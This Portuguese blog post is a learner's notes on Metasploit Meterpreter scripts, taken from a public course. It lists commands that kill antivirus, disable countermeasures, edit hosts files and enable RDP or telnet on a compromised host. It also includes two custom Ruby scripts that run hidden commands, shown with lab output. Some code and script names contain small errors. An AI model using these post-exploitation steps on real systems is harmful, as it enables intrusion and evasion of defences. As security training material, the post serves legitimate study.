DIA#28-Ethical Hacking Tools (Metasploit- Utilização de Scripts)
Continuo hoje no tutorial da Offensive Security, desta vez na parte a descrever a utilização de scripts no Metasploit.
Sctripts no Metasploit
Os scripts na MSF são escritos na linguagem de programação Ruby, para um olhar sobre Ruby recomendo visitar "http://ruby-doc.com/docs/ProgrammingRuby/". Os scripts presentes em "https://github.com/rapid7/metasploit-framework/tree/master/scripts/meterpreter" podem ser bastante úteis tanto para ver como outras pessoas resolvem problemas como para tirar partes do código. Existem diferentes scripts incluídos na MSF alguns dos quais serão mencionados de seguida.
Checkvm
O script "checkvm" é como o nome sugere uma ferramenta que permite observar se a máquina comprometida é uma máquina virtual. O script pode ser utilizado através do uso de "run checkvm" no meterpreter.
Getcountermeasure
O script "getcountermeasure" verifica a configuração da segurança do sistema comprometido, podendo desactivar medidas de segurança como Firewalls, A/V (Antivírus), etc. Corre-se este script através de "run getcountermeasure" no meterpreter.
Getgui
O script "getgui" utiliza-se para activar RDP (Remote Desktop Protocol é usado para fazer logon para sessões windows de remotamente) no target system se estiver destivado. Para usar este script faz-se "run getgui" no meterpreter e depois escolhe-se as opções consoante o que for preciso.
Get_Local_Subnets
O script "get_local_subnets" é usado para saber a subnet local da vitima, esta informação pode ser bastante util para o pivoting. Para se usar o script escreve-se "run get_local_subnets" no meterpreter.
Gettelnet
O script "gettelnet" é usado para activar telnet (protocolo de rede na Internet ou redes locais usado para se comunicar atrvés de texto interactivo bidireccional usando uma conexão de terminal virtual) na vitima se estiver desactivado. Este script usa-se através de "run gettelnet" no meterpreter, escolhendo depois as opções necessárias.
Hostedit
O script "hostsedit" é usado para adicionar entradas nos hosts do windows. Como o windows verifica primeiro os ficheiros de hosts e só depois o DNS server, ajuda a desviar o trafego para entradas fake, podem-se fornecer uma ou mais entradas com o uso de um ficheiro com uma entrada por linha. Para se usar o script escreve-se "run hostsedit" no meterpreter, a partir de onde se escolhem as opções respetivas, um exemplo de uso é "run hostsedit -e 10.211.55.162,www.microsoft.com".
Killav
O script "killav" é usado para desactivar a maioria do antivírus a correr como um serviço no target. Este script usa-se através de "run killav" no meterpreter.
Remotewinenum
O script "remotewinenum" utiliza-se para enumerar informação do sistema através do WMIC (Windows Management Instrumentation Command-Line) na vitima. Este script usa-se através de "run remotewinenum" no meterpreter, a partir de onde se pode escolher as diferentes opções, um exemplo de uso deste script é "run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128".
Scraper
O script "killav" é usado para obter ainda mais informação do sistema, incluindo todo o registry. Este script usa-se através de "run scraper" no meterpreter.
Winenum
O script "remotewinenum" faz de uma ferramenta windows de enumeração bastante detalhada. Este script usa-se através de "run winenum" no meterpreter.
Chamadas API Úteis
Para correr APIs é mais fácil correr a shell irb, que permite fazer as chamadas API directamente e ver o que retorna. Para entrar na shell é necessário utilizar "irb" no meterpreter. Estando agora dentro da shell, mostro de seguida alguns exemplos de chamadas API:
>> client.sys.config.sysinfo
=> {"OS"=>"Windows XP (Build 2600, Service Pack 3).", "Computer"=>"WINXPVM01"} Mostra a informação do sistema, como o OS e o nome da máquina do target host.
>> client.sys.config.sysinfo.class
=> Hash Mostra que tipos de valores são retornados.
>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)." Utiliza a key "['OS']" para ir buscar elementos na hash, neste caso o OS.
>> client.sys.config.getuid
=> "WINXPVM01\labuser" Usa-se para saber as credenciais onde a payload está a correr na máquina.
>> client.sys.process.getpid
=> 684 Mostra o PID onde a sessão está a correr na máquina.
>> interfaces = client.net.config.interfaces => [#, #] >> interfaces.each do |i| ?> puts i.pretty >> end MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0c:29:dc:aa:e4 IP Address : 192.168.1.104 Netmask : 255.255.255.0
Mostra a configuração da network e o contexto do target host.
Escrever Meterpreter Scripts
Antes de começar a escrever scripts é preciso ter em mente que:
- Nem todas as versões do windows são iguais, tendo certas versões contra-medidas para certos exploits;
- Não existem todas as ferramentas da command line em todas as versões e determinadas ferramentas podem mudar os seus switches consoante a versão.
Noutro exemplo dado criou-se um script para retirar informações e que sabe lidar com erros que acabou como está na imagem em baixo, este ficheiro com o nome "helloworld2.rb" foi guardado em "/usr/share/metasploit-framework/scripts/meterpreter" e foi corrido numa sessão meterpreter através de "run helloworld2". No final do script está "getinfo(client)" para quando se correr o script chamar-se a função criada.
def getinfo(session)
begin
sysnfo = session.sys.config.sysinfo
runpriv = session.sys.config.getuid
print_status("Getting system information ...")
print_status("tThe target machine OS is #{sysnfo['OS']}")
print _status("tThe computer name is #{'Computer'} ")
print_status("tScript running as #{runpriv}")
rescue ::Exception => e
print_error("The following error was encountered #{e}")
end
end
getinfo(client) Outro exemplo denominado "helloworld3.rb" encontra-se na imagem de seguida, em que se vai primeiramente definir uma função que leva dois parâmetros, sendo o segundo uma array. Depois a array vai passar por um ciclo "for each" que executa os items nela presentes. Este script também consegue lidar com erros.
def list_exec(session,cmdlst)
print_status("Running Command List ...")
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "running command #{cmd}"
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
end
commands = [ "set",
"ipconfig /all",
"arp -a"]
list_exec(client,commands)Que irá dar um resultado tipo a imagem seguinte.
meterpreter > run helloworld3
[*] Running Command List ...
[*] running command set
[*] ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\P0WN3D\Application Data
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=TARGET
ComSpec=C:\WINNT\system32\cmd.exe
HOMEDRIVE=C:
HOMEPATH=
LOGONSERVER=TARGET
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 6, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0706
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp
TMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp
USERDOMAIN=TARGET
USERNAME=P0WN3D
USERPROFILE=C:\Documents and Settings\P0WN3D
windir=C:\WINNT
[*] running command ipconfig /all
[*]
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : target
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : localdomain
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
Physical Address. . . . . . . . . : 00-0C-29-85-81-55
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 172.16.104.145
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.104.2
DHCP Server . . . . . . . . . . . : 172.16.104.254
DNS Servers . . . . . . . . . . . : 172.16.104.2
Primary WINS Server . . . . . . . : 172.16.104.2
Lease Obtained. . . . . . . . . . : Tuesday, August 25, 2009 10:53:48 PM
Lease Expires . . . . . . . . . . : Tuesday, August 25, 2009 11:23:48 PM
[*] running command arp -a
[*]
Interface: 172.16.104.145 on Interface 0x1000003
Internet Address Physical Address Type
172.16.104.2 00-50-56-eb-db-06 dynamic
172.16.104.150 00-0c-29-a7-f1-c5 dynamic
meterpreter >PS.
- IRB significa Interactive Ruby;
- Para ver em maior detalhe os exemplos relativos aos scripts recomendo visitar "https://www.offensive-security.com/metasploit-unleashed/custom-scripting/".
- No tutorial existem também algumas funções bastante úteis que é bastante recomendado ir ver em "https://www.offensive-security.com/metasploit-unleashed/functions/".
Comentários
Enviar um comentário